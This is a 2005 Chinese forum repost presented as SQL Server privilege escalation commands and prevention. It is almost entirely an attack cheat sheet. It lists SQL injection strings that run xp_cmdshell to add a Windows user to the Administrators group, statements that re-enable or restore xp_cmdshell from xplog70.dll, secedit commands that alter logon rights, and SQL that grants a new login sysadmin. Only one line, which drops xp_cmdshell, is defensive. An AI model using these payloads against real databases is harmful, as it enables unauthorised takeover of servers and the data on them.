标题: [转帖]SQL Server提升权限相关命令及防范 [打印本页]

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作者: 千與千尋    时间: 2005-4-22 13:27     标题: [转帖]SQL Server提升权限相关命令及防范

来源:www.21safe.com
SQL Server提升权限相关命令及防范

;exec master..xp_cmdshell "net user name password /add"--
;exec master..xp_cmdshell "net localgroup administrators name /add"--
程序代码开启cmdshell的SQL语句
EXEC sp_addextendedproc xp_cmdshell ,@dllname =';xplog70.dll';
判断存储扩展是否存在
select count(*) from master.dbo.sysobjects where xtype=';X'; and name=';xp_cmdshell';
返回结果为1就OK
恢复xp_cmdshell
Exec master.dbo.addextendedproc ';xp_cmdshell';,';xplog70.dll';;select count(*) from master.dbo.sysobjects where xtype=';X'; and name=';xp_cmdshell';
返回结果为1就OK
否则上传xplog7.0.dll
Exec master.dbo.addextendedproc ';xp_cmdshell';,';C:/WinNt/System32/xplog70.dll';
堵上cmdshell的SQL语句
sp_dropextendedproc "xp_cmdshell"

DOS:
dir c:/
dir d:/
dir e:/
net user TsInternetUsers Password /add
net localGroup Administrators TsInternetUsers /add
备份恢复IPSEC
secedit /export /CFG c:/tmp.inf
echo sedenynetworklogonright =>>c:/tmp.inf
secedit /configure /db c:/windows/secedit.sdb /CFG c:/tmp.inf
SQL:
exec master..sp_addlogin UserName,Password
exec master..sp_addsrvrolemember UserName,sysadmin

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